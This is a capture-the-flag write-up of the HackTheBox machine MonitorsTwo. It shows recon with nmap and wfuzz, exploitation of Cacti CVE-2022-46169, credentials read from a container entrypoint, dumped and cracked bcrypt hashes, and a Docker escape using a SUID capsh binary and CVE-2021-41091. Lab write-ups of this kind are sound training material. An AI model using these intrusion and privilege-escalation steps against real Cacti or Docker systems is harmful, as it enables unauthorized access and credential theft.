This is a easy difficulty Linux machine from HackTheBox created by TheCyberGeek. In this scenario, my IP is 10.10.14.32 and the target’s IP is 10.129.198.242
This machine was pretty funny; it is straightforward if you ignore the amount of noise if you fuzz the target. It has a proper amount of research once you interact with the target. Furthermore, when you are inside, the machine is designed to be an introduction to escape from Docker Containers. The only weird thing is the privilege scalation because the source of the information was well hidden.
Recon
The first steps are about getting basic information about the target, by using nmap and searching information from the website.
nmap-sCV-p22,8010.129.198.242-oNTargetStartingNmap7.92 ( https://nmap.org ) at 2023-05-25 10:10 Pacific SA Standard TimeNmapscanreportfor10.129.198.242Hostisup (0.18s latency).PORTSTATESERVICEVERSION22/tcpopensshOpenSSH8.2p1Ubuntu4ubuntu0.5 (Ubuntu Linux; protocol2.0)|ssh-hostkey:|307248:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)|256b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)|_25618:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)80/tcpopenhttpnginx1.18.0 (Ubuntu)|_http-title:LogintoCacti|_http-server-header:nginx/1.18.0 (Ubuntu)ServiceInfo:OS:Linux; CPE:cpe:/o:linux:linux_kernel
By searching "OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 launchpad" in google, we find that our target is a Linux-Focal machine, is good to know every detail about the target... and the other information to the pocket, is that the port 80 use nginx/1.18.0.
********************************************************* Wfuzz 3.1.0 - The Web Fuzzer *********************************************************Target:http://10.129.198.242/FUZZTotalrequests:220546=====================================================================IDResponseLinesWordCharsPayload=====================================================================000000002:3019L28W314Ch"images"000000076:3019L28W312Ch"docs"000000505:3019L28W315Ch"plugins"000000361:3019L28W315Ch"service"000000625:4039L28W276Ch"log"000000707:3019L28W311Ch"lib"000000701:3019L28W315Ch"install"000000260:3019L28W315Ch"scripts"000000865:3019L28W316Ch"resource"000001098:3019L28W315Ch"include"000001069:3019L28W313Ch"cache"000003281:200279L2491W15171Ch"LICENSE"000005002:3019L28W315Ch"formats"000007829:2003624L36423W254887Ch"CHANGELOG"000020615:3019L28W315Ch"locales"000020670:4039L28W276Ch"cli"000045314:3019L28W312Ch"mibs"
I went to LICENSE and CHANGELOG, there is nothing interesting there, the other sites are errors or they redirect you to index.php.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.198.242/FUZZ.php
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000250: 302 0 L 0 W 0 Ch "link"
000000001: 200 272 L 862 W 13844 Ch "index"
000000047: 200 272 L 862 W 13843 Ch "help"
000000033: 200 272 L 862 W 13844 Ch "links"
000000520: 200 272 L 862 W 13844 Ch "sites"
000000505: 200 272 L 862 W 13846 Ch "plugins"
000000743: 200 272 L 862 W 13848 Ch "utilities"
000000012: 200 272 L 862 W 13844 Ch "about"
000001211: 302 0 L 0 W 0 Ch "logout"
000001791: 200 272 L 862 W 13847 Ch "settings"
000002727: 200 272 L 862 W 13828 Ch "graph"
000002730: 200 272 L 862 W 13843 Ch "host"
000002744: 200 272 L 862 W 13844 Ch "color"
000002975: 200 272 L 862 W 13845 Ch "graphs"
000003583: 200 272 L 862 W 13843 Ch "tree"
000005326: 200 1 L 13 W 93 Ch "cmd"
000012379: 200 272 L 862 W 13847 Ch "managers"
000065905: 200 272 L 862 W 13843 Ch "clog"
000082245: 200 0 L 12 W 58 Ch "graph_image"
Exploit
Reverse Shell [www-data]
After some recon at some of the found websites, an option was to search for exploit for each framework version, and if you search for "Cacti 1.2.22 exploit" there is something, CVE-2022-46169, RCE.
Download the python script, looks like an script to make a connection to a listening port, so here you need two local terminals.
By using this, I only find configuration and code, nothing about plain text credentials, but when I went to /, there is a file called entrypoint.sh... with sql credentials in plain text.
Database exploration
Target Terminal [www-data]
$catentrypoint.sh#!/bin/bashset-exwait-for-itdb:3306-t300--echo"database is connected"if [[ ! $(mysql--host=db--user=root--password=rootcacti-e"show tables") =~"automation_devices" ]]; thenmysql--host=db--user=root--password=rootcacti</var/www/html/cacti.sql mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
mysql--host=db--user=root--password=rootcacti-e"SET GLOBAL time_zone = 'UTC'"fichownwww-data:www-data-R/var/www/html# first arg is `-f` or `--some-option`if [ "${1#-}"!="$1" ]; thenset--apache2-foreground"$@"fiexec"$@"
Target Terminal [www-data]
$mysql--host=db--user=root--password=rootcacti> show databases;+--------------------+|Database|+--------------------+|information_schema||cacti||mysql||performance_schema||sys|+--------------------+5rowsinset (0.001 sec)> USE cactiDatabasechanged> SHOW TABLES;<...>|snmpagent_managers_notifications||snmpagent_mibs||snmpagent_notifications_log||user_auth|#Here!|user_auth_cache||user_auth_group||user_auth_group_members||user_auth_group_perms|<...>>select column_name from information_schema.columns WHERE table_name='user_auth';+------------------------+|column_name|+------------------------+|id||username|# This|password|# And this one.|realm||full_name||email_address||must_change_password||password_change||show_tree||show_list||show_preview||graph_settings||login_opts||policy_graphs||policy_trees||policy_hosts||policy_graph_templates||enabled||lastchange||lastlogin||password_history||locked||failed_attempts||lastfail||reset_perms|+------------------------+>select username,password from user_auth;+----------+--------------------------------------------------------------+|username|password|+----------+--------------------------------------------------------------+|admin| $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC||guest|43e9a4ab75570f5b||marcus| $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C|+----------+--------------------------------------------------------------+
Reverse Shell [marcus]
And we find two credentials, I went to CrackStation, in HackTheBox is common to use frequent hashes, but this is not the case, so it's time to use John the Ripper.
Local Terminal
$vidata$2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C$john--wordlist=/usr/share/wordlists/rockyou.txtdataLoaded2passwordhasheswith2differentsalts (bcrypt [Blowfish 32/64X2])Willrun16OpenMPthreadsPress'q'orCtrl-Ctoabort,almostanyotherkeyforstatusfunkymonkey (?) # Maybe this is the only one we need
marcus@monitorstwo:/$iduid=1000(marcus) gid=1000(marcus) groups=1000(marcus)marcus@monitorstwo:/$sudo-l[sudo] password for marcus:Sorry,usermarcusmaynotrunsudoonlocalhost.marcus@monitorstwo:/$find \-perm-40002>/dev/null./usr/lib/dbus-1.0/dbus-daemon-launch-helper./usr/lib/eject/dmcrypt-get-device./usr/lib/policykit-1/polkit-agent-helper-1./usr/lib/openssh/ssh-keysign./usr/bin/mount./usr/bin/sudo./usr/bin/gpasswd./usr/bin/umount./usr/bin/passwd./usr/bin/fusermount./usr/bin/chsh./usr/bin/at./usr/bin/chfn./usr/bin/newgrp./usr/bin/sumarcus@monitorstwo:/$find \-nameconfig2>/dev/null<...>
Nothing suspicious, we can check some process then.
Target Terminal [marcus]
$ps-aux<...>$cat/etc/crontab<...>
And now the grep cycle at /
Target Terminal [marcus]
$grep-rni"marcus"--exclude-dir={proc,lib,sys}*<...>$grep-rni"password"--exclude-dir={proc,lib,sys}*<...>$grep-rni"CVE"--exclude-dir={proc,lib,sys}*var/mail/marcus:9:CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability.
var/mail/marcus:11:CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability.
var/mail/marcus:13:CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed.
At /var/mail/marcus there is something relevant, the first two vulnerabilities are not interesting, but the third one it is.
After reading a little bit, first we need to be root at the Docker Container.
Target Terminal [marcus]
marcus@monitorstwo:/$vi/tmp/exploit.sh#Paste the code of exp.shmarcus@monitorstwo:/$cd/tmpmarcus@monitorstwo:/tmp$chmod777exploit.sh
Target Terminal [marcus]
marcus@monitorstwo:/tmp$./exploit.sh[!] Vulnerable to CVE-2021-41091[!] Now connect to your Docker container that is accessible and obtain root access ![>] Aftergainingrootaccessexecutethiscommand (chmod u+s/bin/bash)Didyoucorrectlysetthesetuidbiton/bin/bashintheDockercontainer? (yes/no): yes[!] Available Overlay2 Filesystems:/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged[!] Iterating over the available Overlay2 filesystems ![?] Checkingpath:/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged[x] Could not get root access in '/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged'
# This one is vulnerable!![?] Checkingpath:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged[!] Rooted ![>] Current Vulnerable Path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[?] Ifitdidn't spawn a shell go to this path and execute './bin/bash-p'[!] Spawning Shell
It did not work, but at least we find the vulnerable docker. So, by coincidence it's the first docker that we attacked.
Exploiting CVE-2021-41091
Target Terminal [www-data]
$find \-perm-40002>/dev/null./usr/bin/gpasswd./usr/bin/passwd./usr/bin/chsh./usr/bin/chfn./usr/bin/newgrp./sbin/capsh#Perfect!./bin/mount./bin/umount./bin/su# From GTFOBins$www-data@50bca5e748b0:/$ ./sbin/capsh--gid=0--uid=0--root@50bca5e748b0:/#root@50bca5e748b0:/#chmodu+s/bin/bash
Now that the docker's bash is usable to everyone, we return to the other terminal with the user marcus, and then execute that bash.